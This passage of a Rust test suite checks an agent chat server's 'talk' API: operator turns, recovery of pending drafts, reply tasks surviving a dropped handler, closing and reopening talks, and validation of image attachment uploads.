16038        assert_eq!(requeued.state, "incomplete");
16039        assert_eq!(requeued.done, 6);
16040        assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
16041
16042        let empty = talk_task_progress(&[]);
16043        assert_eq!(empty.state, "none");
16044        assert_eq!(empty.total, 0);
16045        assert_eq!(empty.done, 0);
16046        assert!(empty.unfinished_ids.is_empty());
16047        assert!(empty.counts.values().all(|count| *count == 0));
16048    }
16049
16050    #[tokio::test]
16051    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
16052        let (_tmp, _repo, f) = talk_fixture().await;
16053        let id = f.post("/api/talks", None).await.json()["id"]
16054            .as_str()
16055            .expect("id")
16056            .to_owned();
16057
16058        let res = f
16059            .post(
16060                &format!("/api/talks/{id}/say"),
16061                Some(r#"{"text":"what does the queue module do?"}"#),
16062            )
16063            .await;
16064        assert_eq!(res.status, 202, "{}", res.body);
16065        let queued = res.json();
16066        let turns = queued["turns"].as_array().expect("turns array");
16067        assert_eq!(
16068            turns.len(),
16069            1,
16070            "the answer reflects only what is on disk the instant it is sent, \
16071             before the agent's turn - which can run for the whole of \
16072             `[graph] timeout_talk` - has a chance to land: {queued}"
16073        );
16074        assert_eq!(turns[0]["who"], "operator");
16075        assert_eq!(turns[0]["body"], "what does the queue module do?");
16076        assert_eq!(
16077            queued["thinking"], true,
16078            "the accepted response exposes the background turn claim: {queued}"
16079        );
16080
16081        let mut turns_after = 1;
16082        for _ in 0..SETTLE_STEPS {
16083            let detail = f.get(&format!("/api/talks/{id}")).await.json();
16084            turns_after = detail["turns"].as_array().expect("turns array").len();
16085            if turns_after == 2 {
16086                break;
16087            }
16088            tokio::time::sleep(Duration::from_millis(10)).await;
16089        }
16090        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
16091    }
16092
16093    /// A phone that reloads mid-request drops `talk_say`'s whole handler
16094    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
16095    /// guards against: `talk::record` used to return, and only *then* did the
16096    /// handler make a second, separate disk round trip before spawning the
16097    /// agent's reply task. A future dropped in that gap left a message
16098    /// recorded on disk with no reply task ever started and no way back short
16099    /// of a fresh message - and the gap was not even the whole story: *any*
16100    /// `.await` in this handler, including the very first one, is a point
16101    /// where a drop can land after the awaited work already finished but
16102    /// before this handler's own code resumes to act on it. `record` now
16103    /// runs inside the task `tokio::spawn` hands to the runtime before this
16104    /// handler ever awaits anything of its own again, so there is nothing
16105    /// left in *this* handler's future for a disconnect to interrupt between
16106    /// the message landing on disk and the reply task starting.
16107    ///
16108    /// A real socket disconnect cannot be relied on to land in the old gap
16109    /// from a test - over loopback, `talk_say` typically finishes before the
16110    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
16111    /// same failure mode directly: it drops the task's future at whatever
16112    /// point it has reached, exactly what axum does to the handler future,
16113    /// without needing to win a real network race. Sweeping the delay before
16114    /// aborting samples a range of points the task's execution can be at,
16115    /// including where the old code sat waiting on its second disk round
16116    /// trip - confirmed by reverting this fix locally and watching this same
16117    /// sweep catch a talk stuck with the operator's turn recorded and no
16118    /// reply ever following.
16119    #[tokio::test]
16120    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
16121        let tmp = TempDir::new().expect("tempdir");
16122        let repo = tmp.path().join("repo");
16123        std::fs::create_dir_all(&repo).expect("repo dir");
16124        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16125        let home = TempDir::new().expect("temp home");
16126        let talks = Talks::at(home.path().join("talks"));
16127        let ui = Arc::new(
16128            Ui::new(
16129                Queue::at(home.path().join("queue")),
16130                Questions::at(home.path().join("questions")),
16131                talks.clone(),
16132                home.path().join("runs"),
16133                home.path().to_path_buf(),
16134                repo.clone(),
16135            )
16136            .with_worktrees_root(home.path().join("wt")),
16137        );
16138        let cfg = config_for(&repo).await.expect("discover config");
16139
16140        for delay in 0..40u32 {
16141            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
16142            let id = talk.id.clone();
16143
16144            let handler = tokio::spawn(talk_say(
16145                State(Arc::clone(&ui)),
16146                Path(id.clone()),
16147                Ok(Json(NewTalkTurn {
16148                    reply_to: None,
16149                    text: "what does the queue module do?".to_owned(),
16150                    attachments: Vec::new(),
16151                })),
16152            ));
16153            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
16154            handler.abort();
16155            // Wait out the abort so the next iteration's talk does not race
16156            // this one's still-unwinding turn guard.
16157            let _ = handler.await;
16158
16159            let mut turns = 0;
16160            for _ in 0..SETTLE_STEPS {
16161                if let Ok(fresh) = talks.get(&id) {
16162                    turns = fresh.turns.len();
16163                    if turns != 1 {
16164                        break;
16165                    }
16166                }
16167                tokio::time::sleep(Duration::from_millis(10)).await;
16168            }
16169            assert_ne!(
16170                turns, 1,
16171                "delay {delay}: talk {id} recorded the operator's turn but \
16172                 the agent never answered - the reply task was never \
16173                 started after the handler future was dropped"
16174            );
16175        }
16176    }
16177
16178    /// The same drop, landing on `talk_say`'s other durable write.
16179    ///
16180    /// When a turn is already running, the busy branch persists the
16181    /// operator's text as a queued draft and then reclaims the turn slot if
16182    /// the holder gave it up in the meantime - and whoever reclaims owes that
16183    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
16184    /// which finishes whether or not the future awaiting it is still there,
16185    /// so a handler dropped at that `.await` used to leave the draft written
16186    /// to disk with the reclaimed guard dropped unread and no drainer ever
16187    /// started: the message sat queued until some unrelated later `say`
16188    /// happened to pick it up.
16189    ///
16190    /// This used to drive the handler future by hand, polling it a fixed
16191    /// number of times to park it at the `.await` where it asks for the turn
16192    /// and finds it busy, before the reclaim's slot-free case could be set up
16193    /// underneath it. That assumed a fixed number of polls lands at a fixed
16194    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
16195    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
16196    /// poll, so any number of this handler's several `blocking` awaits can
16197    /// collapse into one poll under load, landing the drive somewhere other
16198    /// than intended - including, occasionally, straight past the handler's
16199    /// own completion, which made polling it again panic with "async fn
16200    /// resumed after completion". No poll count fixes that; the handler's
16201    /// progress simply is not something a caller outside it can observe by
16202    /// counting.
16203    ///
16204    /// [`BusyQueueGate`] replaces the poll count with a real stop point
16205    /// inside the write itself, so the interleaving under test is pinned by
16206    /// an event instead of a guess: the gate fires only once the handler has
16207    /// actually decided `Busy` and is about to persist the draft, and it
16208    /// blocks that write until the test lets it through. Between those two
16209    /// moments the test drains the turn the handler found busy - through
16210    /// `drain_loop`, the protocol's other half - and then aborts the handler
16211    /// task outright, the same way axum drops a disconnected request's
16212    /// future. The write, and the reclaim it may do, run to completion
16213    /// regardless: they live in the `tokio::spawn` task the busy branch hands
16214    /// to the runtime before ever touching the gate, wholly independent of
16215    /// whether the handler that started it is still around - which is what
16216    /// this test is actually checking. A drainer other than that reclaim
16217    /// cannot exist here: the test's own `drain_loop` call happens before the
16218    /// gate opens, so it runs while the queue is still empty and hands the
16219    /// turn straight back rather than draining anything, closing off the
16220    /// possibility of the final assertion passing without the reclaim ever
16221    /// having done its job.
16222    #[tokio::test]
16223    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
16224        let tmp = TempDir::new().expect("tempdir");
16225        let repo = tmp.path().join("repo");
16226        std::fs::create_dir_all(&repo).expect("repo dir");
16227        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16228        let home = TempDir::new().expect("temp home");
16229        let talks = Talks::at(home.path().join("talks"));
16230        let ui = Arc::new(
16231            Ui::new(
16232                Queue::at(home.path().join("queue")),
16233                Questions::at(home.path().join("questions")),
16234                talks.clone(),
16235                home.path().join("runs"),
16236                home.path().to_path_buf(),
16237                repo.clone(),
16238            )
16239            .with_worktrees_root(home.path().join("wt")),
16240        );
16241        let cfg = config_for(&repo).await.expect("discover config");
16242        // Both waits guard against hangs, not slow filesystem or Git work on
16243        // a loaded test host. The gates and lock polls assert the ordering.
16244        let hang_guard = Duration::from_secs(30);
16245
16246        for attempt in 0..3u32 {
16247            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
16248            let id = talk.id.clone();
16249            // A turn is already running, which is what sends `talk_say` down
16250            // the busy branch.
16251            let turn_guard = ui
16252                .begin_talk_turn(&id)
16253                .expect("claim the turn")
16254                .expect("a fresh talk owes nobody a turn");
16255
16256            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
16257            let (release_tx, release_rx) = std::sync::mpsc::channel();
16258            ui.set_busy_queue_gate(BusyQueueGate {
16259                reached: reached_tx,
16260                release: release_rx,
16261            });
16262
16263            let handler = tokio::spawn(talk_say(
16264                State(Arc::clone(&ui)),
16265                Path(id.clone()),
16266                Ok(Json(NewTalkTurn {
16267                    reply_to: None,
16268                    text: "what does the queue module do?".to_owned(),
16269                    attachments: Vec::new(),
16270                })),
16271            ));
16272
16273            // Wait for the busy branch to actually reach the gate, rather
16274            // than for any fixed number of polls of anything - a bounded
16275            // wait rather than a bare `.await` so a regression that never
16276            // reaches the gate fails the test instead of hanging it.
16277            tokio::time::timeout(hang_guard, reached_rx)
16278                .await
16279                .unwrap_or_else(|_| {
16280                    panic!(
16281                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
16282                    )
16283                })
16284                .expect("the busy branch dropped the gate without using it");
16285            assert!(
16286                crate::chat_worker::try_publication_guard(&talks, &id)
16287                    .expect("publication fence")
16288                    .is_none(),
16289                "a queued worker cannot promote text before its successor reservation is published"
16290            );
16291
16292            // A listener replacement queues its writer behind this accepted
16293            // mutation. Even disconnecting the HTTP caller must not release
16294            // admission before the write-to-worker handoff has completed.
16295            let closing = Arc::clone(&ui.admissions).write_owned();
16296            tokio::pin!(closing);
16297            std::future::poll_fn(|cx| {
16298                assert!(closing.as_mut().poll(cx).is_pending());
16299                std::task::Poll::Ready(())
16300            })
16301            .await;
16302            assert!(
16303                ui.begin_admission().is_err(),
16304                "replacement blocks later admissions"
16305            );
16306
16307            // The turn that was running now finishes and gives the slot up
16308            // the way a real one does - through `drain_loop`, which finds
16309            // nothing queued yet (the write is still held at the gate) and
16310            // releases. The handler, parked inside `spawn_blocking` on the
16311            // other side of the gate, still believes the talk is busy -
16312            // exactly the interleaving the reclaim exists for.
16313            let running = talks.get(&id).expect("reload talk");
16314            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
16315
16316            // Drop the handler future now, the way a reloading phone drops
16317            // it: suspended waiting on the busy branch's answer, having
16318            // itself made no more progress since it handed the write off.
16319            handler.abort();
16320            let _ = handler.await;
16321            std::future::poll_fn(|cx| {
16322                assert!(
16323                    closing.as_mut().poll(cx).is_pending(),
16324                    "HTTP cancellation must not abandon a publishing transaction"
16325                );
16326                std::task::Poll::Ready(())
16327            })
16328            .await;
16329            assert!(
16330                crate::chat_worker::try_publication_guard(&talks, &id)
16331                    .expect("publication fence after disconnect")
16332                    .is_none()
16333            );
16334
16335            // Only now let the gated write proceed. It persists the draft
16336            // and reclaims the now-free slot from inside the task the busy
16337            // branch already spawned - unaffected by the handler's abort
16338            // above, since that task was independent of the handler's own
16339            // future from the moment it was spawned.
16340            release_tx.send(()).expect("busy queue write still gated");
16341            drop(
16342                tokio::time::timeout(hang_guard, closing)
16343                    .await
16344                    .unwrap_or_else(|_| {
16345                        panic!("attempt {attempt}: talk {id} did not release admission after the queue gate opened")
16346                    }),
16347            );
16348            assert!(
16349                crate::chat_worker::try_publication_guard(&talks, &id)
16350                    .expect("publication fence after acknowledgement")
16351                    .is_some(),
16352                "the publication fence is not retained by the long response"
16353            );
16354
16355            // A settled talk: the draft drained into an operator turn and
16356            // answered.
16357            let mut fresh = talks.get(&id).expect("reload talk");
16358            for _ in 0..SETTLE_STEPS {
16359                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
16360                    break;
16361                }
16362                tokio::time::sleep(Duration::from_millis(10)).await;
16363                fresh = talks.get(&id).expect("reload talk");
16364            }
16365            assert!(
16366                fresh.pending.is_empty() && fresh.turns.len() == 2,
16367                "attempt {attempt}: talk {id} left the operator's text queued \
16368                 with no drainer - the reclaimed turn was dropped along with \
16369                 the handler future (pending {:?}, {} turns)",
16370                fresh.pending,
16371                fresh.turns.len()
16372            );
16373        }
16374    }
16375
16376    #[tokio::test]
16377    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
16378        let (_tmp, _repo, f) = talk_fixture().await;
16379        let id = f.post("/api/talks", None).await.json()["id"]
16380            .as_str()
16381            .expect("id")
16382            .to_owned();
16383        let store = f.talks();
16384        let mut recovered = store.get(&id).expect("opened talk");
16385        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16386            .expect("persist pending draft without a live turn");
16387
16388        let edited = f
16389            .post(
16390                &format!("/api/talks/{id}/pending/edit"),
16391                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
16392            )
16393            .await;
16394        assert_eq!(edited.status, 200, "{}", edited.body);
16395        assert!(edited.json()["thinking"].as_bool().unwrap());
16396
16397        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
16398        for _ in 0..SETTLE_STEPS {
16399            if detail["turns"].as_array().expect("turns").len() == 2 {
16400                break;
16401            }
16402            tokio::time::sleep(Duration::from_millis(10)).await;
16403            detail = f.get(&format!("/api/talks/{id}")).await.json();
16404        }
16405        let turns = detail["turns"].as_array().expect("turns");
16406        assert_eq!(
16407            turns.len(),
16408            2,
16409            "the recovered draft must run once: {detail}"
16410        );
16411        assert_eq!(turns[0]["body"], "corrected");
16412        assert_eq!(detail["pending"], "");
16413    }
16414
16415    #[tokio::test]
16416    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
16417        let tmp = TempDir::new().expect("tempdir");
16418        let repo = tmp.path().join("repo");
16419        std::fs::create_dir_all(&repo).expect("repo dir");
16420        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16421        let f = Fixture::with_repo(repo).await;
16422        let id = f.post("/api/talks", None).await.json()["id"]
16423            .as_str()
16424            .expect("id")
16425            .to_owned();
16426        let store = f.talks();
16427        let mut recovered = store.get(&id).expect("opened talk");
16428        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16429            .expect("persist pending draft without a live turn");
16430
16431        let refused = f
16432            .post(
16433                &format!("/api/talks/{id}/say"),
16434                Some(r#"{"text":"new message"}"#),
16435            )
16436            .await;
16437        assert_eq!(refused.status, 409, "{}", refused.body);
16438        assert!(refused.body.contains("resume"), "{}", refused.body);
16439        let saved = store.get(&id).expect("draft remains after refusal");
16440        assert!(saved.turns.is_empty());
16441        assert_eq!(saved.pending, "saved before restart");
16442
16443        let say_path = format!("/api/talks/{id}/say");
16444        let (first, second) = tokio::join!(
16445            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
16446            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
16447        );
16448        assert_eq!(first.status, 409, "{}", first.body);
16449        assert_eq!(second.status, 409, "{}", second.body);
16450        let saved = store
16451            .get(&id)
16452            .expect("draft remains after concurrent refusals");
16453        assert!(saved.turns.is_empty());
16454        assert_eq!(saved.pending, "saved before restart");
16455
16456        let resumed = f
16457            .post(&format!("/api/talks/{id}/pending/resume"), None)
16458            .await;
16459        assert_eq!(resumed.status, 202, "{}", resumed.body);
16460        let duplicate = f
16461            .post(&format!("/api/talks/{id}/pending/resume"), None)
16462            .await;
16463        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
16464
16465        for _ in 0..SETTLE_STEPS {
16466            if store.get(&id).expect("talk").turns.len() == 2 {
16467                break;
16468            }
16469            tokio::time::sleep(Duration::from_millis(10)).await;
16470        }
16471        let finished = store.get(&id).expect("finished talk");
16472        assert_eq!(finished.turns.len(), 2, "{finished:?}");
16473        assert_eq!(finished.turns[0].body, "saved before restart");
16474        assert!(finished.pending.is_empty());
16475    }
16476
16477    #[tokio::test]
16478    async fn an_image_only_recovered_draft_resumes_without_text() {
16479        let (_tmp, _repo, f) = talk_fixture().await;
16480        let id = f.post("/api/talks", None).await.json()["id"]
16481            .as_str()
16482            .expect("id")
16483            .to_owned();
16484        let uploaded = f
16485            .post_bytes(
16486                &format!("/api/talks/{id}/attachments"),
16487                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
16488                PNG_BYTES,
16489            )
16490            .await;
16491        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16492        let attachment = f
16493            .talks()
16494            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
16495            .expect("attachment metadata")
16496            .expect("stored attachment");
16497        let store = f.talks();
16498        let mut recovered = store.get(&id).expect("opened talk");
16499        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
16500
16501        let resumed = f
16502            .post(&format!("/api/talks/{id}/pending/resume"), None)
16503            .await;
16504        assert_eq!(resumed.status, 202, "{}", resumed.body);
16505        for _ in 0..SETTLE_STEPS {
16506            if store.get(&id).expect("talk").turns.len() == 2 {
16507                break;
16508            }
16509            tokio::time::sleep(Duration::from_millis(10)).await;
16510        }
16511        let finished = store.get(&id).expect("finished talk");
16512        assert_eq!(finished.turns.len(), 2, "{finished:?}");
16513        assert!(finished.turns[0].body.is_empty());
16514        assert_eq!(finished.turns[0].attachments.len(), 1);
16515        assert!(finished.pending_attachments.is_empty());
16516    }
16517
16518    #[tokio::test]
16519    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
16520        let (_tmp, _repo, f) = talk_fixture().await;
16521        let id = f.post("/api/talks", None).await.json()["id"]
16522            .as_str()
16523            .expect("id")
16524            .to_owned();
16525        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16526        assert_eq!(closed.status, 200, "{}", closed.body);
16527        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
16528            .expect("serialize closed talk");
16529        for (path, body) in [
16530            (format!("/api/talks/{id}/pending/resume"), None),
16531            (
16532                format!("/api/talks/{id}/pending/clear"),
16533                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
16534            ),
16535            (
16536                format!("/api/talks/{id}/pending/edit"),
16537                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
16538            ),
16539            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
16540        ] {
16541            let response = f.post(&path, body).await;
16542            assert_eq!(response.status, 409, "{}", response.body);
16543        }
16544        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
16545            .expect("serialize closed talk");
16546        assert_eq!(
16547            after_clear, before_clear,
16548            "clear must not rewrite a closed talk"
16549        );
16550    }
16551
16552    /// Keeps both claims observable long enough to exercise the distinction
16553    /// between one busy talk and a globally locked Chat surface.
16554    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
16555
16556    #[tokio::test]
16557    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
16558        let tmp = TempDir::new().expect("tempdir");
16559        let repo = tmp.path().join("repo");
16560        std::fs::create_dir_all(&repo).expect("repo dir");
16561        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16562        let f = Fixture::with_repo(repo).await;
16563        let id_a = f.post("/api/talks", None).await.json()["id"]
16564            .as_str()
16565            .unwrap()
16566            .to_owned();
16567        let id_b = f.post("/api/talks", None).await.json()["id"]
16568            .as_str()
16569            .unwrap()
16570            .to_owned();
16571
16572        let a = f
16573            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
16574            .await;
16575        assert_eq!(a.status, 202, "{}", a.body);
16576        assert_eq!(a.json()["thinking"], true);
16577        let b = f
16578            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
16579            .await;
16580        assert_eq!(b.status, 202, "{}", b.body);
16581        assert_eq!(b.json()["thinking"], true);
16582
16583        let listed = f.get("/api/talks").await.json();
16584        for id in [&id_a, &id_b] {
16585            let view = listed
16586                .as_array()
16587                .unwrap()
16588                .iter()
16589                .find(|talk| talk["id"] == *id)
16590                .unwrap();
16591            assert_eq!(view["thinking"], true, "{listed}");
16592        }
16593        let repeated = f
16594            .post(
16595                &format!("/api/talks/{id_a}/say"),
16596                Some(r#"{"text":"again"}"#),
16597            )
16598            .await;
16599        assert_eq!(repeated.status, 202, "{}", repeated.body);
16600        assert_eq!(repeated.json()["pending"], "again");
16601    }
16602
16603    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
16604    /// few more, since real uploads are never exactly eight bytes.
16605    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
16606
16607    #[tokio::test]
16608    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
16609        let f = Fixture::start().await;
16610        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
16611
16612        let res = f
16613            .post_bytes(
16614                &format!("/api/talks/{id}/attachments"),
16615                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
16616                PNG_BYTES,
16617            )
16618            .await;
16619        assert_eq!(res.status, 201, "{}", res.body);
16620        let body = res.json();
16621        assert_eq!(body["name"], "shot.png");
16622        assert_eq!(body["mime"], "image/png");
16623        assert_eq!(body["bytes"], PNG_BYTES.len());
16624        let att_id = body["id"].as_str().expect("id").to_owned();
16625        assert_eq!(
16626            att_id.len(),
16627            32,
16628            "the id must never be a client-suppliable path: {att_id}"
16629        );
16630
16631        let got = f
16632            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
16633            .await;
16634        assert_eq!(got.status, 200, "{}", got.body);
16635        assert_eq!(got.header("content-type"), Some("image/png"));
16636        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
16637        assert_eq!(got.bytes, PNG_BYTES);
16638    }
16639
16640    #[tokio::test]
16641    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
16642        let f = Fixture::start().await;
16643        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
16644
16645        // SVG can carry a `<script>`, so it is never on the whitelist even
16646        // though it is a real IANA image type.
16647        let svg = f
16648            .post_bytes(
16649                &format!("/api/talks/{id}/attachments"),
16650                &[("Content-Type", "image/svg+xml")],
16651                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
16652            )
16653            .await;
16654        assert!(
16655            (400..500).contains(&svg.status),
16656            "svg must be refused: {} {}",
16657            svg.status,
16658            svg.body
16659        );
16660        assert!(svg.body.contains("SVG"), "{}", svg.body);
16661
16662        let text = f
16663            .post_bytes(
16664                &format!("/api/talks/{id}/attachments"),
16665                &[("Content-Type", "text/plain")],
16666                b"just some text",
16667            )
16668            .await;
16669        assert!(
16670            (400..500).contains(&text.status),
16671            "an unlisted type must be refused: {} {}",
16672            text.status,
16673            text.body
16674        );
16675
16676        // The declared type is a real png, but the size check runs before
16677        // the bytes are even looked at.
16678        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
16679        let big = f
16680            .post_bytes(
16681                &format!("/api/talks/{id}/attachments"),
16682                &[("Content-Type", "image/png")],
16683                &oversized,
16684            )
16685            .await;
16686        assert_eq!(
16687            big.status,
16688            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
16689            "{}",
16690            big.body
16691        );
16692    }
16693
16694    #[tokio::test]
16695    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
16696        let f = Fixture::start().await;
16697        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
16698
16699        // A whitelisted `Content-Type`, but bytes that are not actually a
16700        // png - the declared header alone is never trusted.
16701        let res = f
16702            .post_bytes(
16703                &format!("/api/talks/{id}/attachments"),
16704                &[("Content-Type", "image/png")],
16705                b"<html>not a picture</html>",
16706            )
16707            .await;
16708        assert!((400..500).contains(&res.status), "{}", res.body);
16709    }
16710
16711    #[tokio::test]
16712    async fn an_unknown_attachment_id_is_a_404() {
16713        let f = Fixture::start().await;
16714        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
16715
16716        let res = f
16717            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
16718            .await;
16719        assert_eq!(res.status, 404, "{}", res.body);
16720    }
16721
16722    #[tokio::test]
16723    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
16724        let f = Fixture::start().await;
16725        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
16726
16727        let uploaded = f
16728            .post_bytes(
16729                &format!("/api/talks/{id}/attachments"),
16730                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
16731                PNG_BYTES,
16732            )
16733            .await;
16734        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16735        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
16736
16737        let res = f
16738            .post(
16739                &format!("/api/talks/{id}/say"),
16740                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
16741            )
16742            .await;
16743        assert_eq!(res.status, 202, "{}", res.body);
16744        let queued = res.json();
16745        let turns = queued["turns"].as_array().expect("turns array");
16746        assert_eq!(
16747            turns.len(),
16748            1,
16749            "an empty body with an attachment is still a turn: {queued}"
16750        );
16751        assert_eq!(turns[0]["who"], "operator");
16752        assert_eq!(turns[0]["body"], "");
16753        let atts = turns[0]["attachments"]
16754            .as_array()
16755            .expect("attachments array");
16756        assert_eq!(atts.len(), 1);
16757        assert_eq!(atts[0]["id"], att_id);
16758        assert_eq!(atts[0]["mime"], "image/png");
16759
16760        // Not only in the response: `record` flushes to disk before the
16761        // agent's own turn is even spawned.
16762        let on_disk = f.talks().get(&id).expect("get");
16763        assert_eq!(on_disk.turns[0].attachments.len(), 1);
16764        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
16765    }
16766
16767    #[tokio::test]
16768    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
16769        let f = Fixture::start().await;
16770        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
16771
16772        let res = f
16773            .post(
16774                &format!("/api/talks/{id}/say"),
16775                Some(&format!(
16776                    r#"{{"text":"hi","attachments":["{}"]}}"#,
16777                    "a".repeat(32)
16778                )),
16779            )
16780            .await;
16781        assert!((400..500).contains(&res.status), "{}", res.body);
16782        assert!(res.body.contains("unknown attachment"), "{}", res.body);
16783
16784        let on_disk = f.talks().get(&id).expect("get");
16785        assert!(
16786            on_disk.turns.is_empty(),
16787            "a rejected attachment id must not partially record the turn: {:?}",
16788            on_disk.turns
16789        );
16790    }
16791
16792    #[tokio::test]
16793    async fn talk_close_makes_the_talk_refuse_further_turns() {
16794        let f = Fixture::start().await;
16795        let id = seed_talk(&f, "20260904-014455-cd34", "open");
16796
16797        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16798        assert_eq!(closed.status, 200, "{}", closed.body);
16799        assert_eq!(closed.json()["status"], "closed");
16800
16801        // Idempotent: closing an already-closed talk is not an error.
16802        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
16803        assert_eq!(closed_again.status, 200);
16804        assert_eq!(closed_again.json()["status"], "closed");
16805
16806        let said = f
16807            .post(
16808                &format!("/api/talks/{id}/say"),
16809                Some(r#"{"text":"too late"}"#),
16810            )
16811            .await;
16812        assert_eq!(said.status, 409, "{}", said.body);
16813    }
16814
16815    #[tokio::test]
16816    async fn talk_close_refuses_pending_input_with_conflict_and_preserves_it() {
16817        let f = Fixture::start().await;
16818        let id = seed_talk(&f, "20260904-014455-cd34", "open");
16819        let store = f.talks();
16820        let mut queued = store.get(&id).expect("talk");
16821        for automatic in [false, true] {
16822            if automatic {
16823                talk::queue_once(&mut queued, &store, "automatic notice", "notice-key")
16824                    .expect("queue automatic input");
16825            } else {
16826                talk::queue(&mut queued, &store, "queued send", Vec::new())
16827                    .expect("queue operator input");
16828            }
16829            let before = serde_json::to_value(store.get(&id).expect("queued talk")).unwrap();
16830            let refused = f.post(&format!("/api/talks/{id}/close"), None).await;
16831            assert_eq!(refused.status, 409, "{}", refused.body);
16832            assert!(refused.body.contains("pending input"), "{}", refused.body);
16833            assert_eq!(
16834                serde_json::to_value(store.get(&id).expect("preserved talk")).unwrap(),
16835                before,
16836                "a close refusal must preserve the entire record"
16837            );
16838            talk::clear_pending(&mut queued, &store).expect("clear saved input");
16839        }
16840        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16841        assert_eq!(closed.status, 200, "{}", closed.body);
16842        assert_eq!(closed.json()["status"], "closed");
16843    }
16844
16845    #[tokio::test]
16846    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
16847        let (_tmp, _repo, f) = talk_fixture().await;
16848        let id = f.post("/api/talks", None).await.json()["id"]
16849            .as_str()
16850            .expect("id")
16851            .to_owned();
16852        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16853        assert_eq!(closed.status, 200, "{}", closed.body);
16854
16855        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16856        assert_eq!(reopened.status, 200, "{}", reopened.body);
16857        assert_eq!(reopened.json()["status"], "open");
16858
16859        // Idempotent: reopening an already-open talk is not an error.
16860        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16861        assert_eq!(reopened_again.status, 200);
16862        assert_eq!(reopened_again.json()["status"], "open");
16863
16864        let said = f
16865            .post(
16866                &format!("/api/talks/{id}/say"),
16867                Some(r#"{"text":"still there?"}"#),
16868            )
16869            .await;
16870        assert_eq!(
16871            said.status, 202,
16872            "a reopened talk accepts turns again: {}",
16873            said.body
16874        );
16875    }
16876
16877    #[tokio::test]
16878    async fn talk_reopen_on_an_unknown_id_is_404() {
16879        let f = Fixture::start().await;
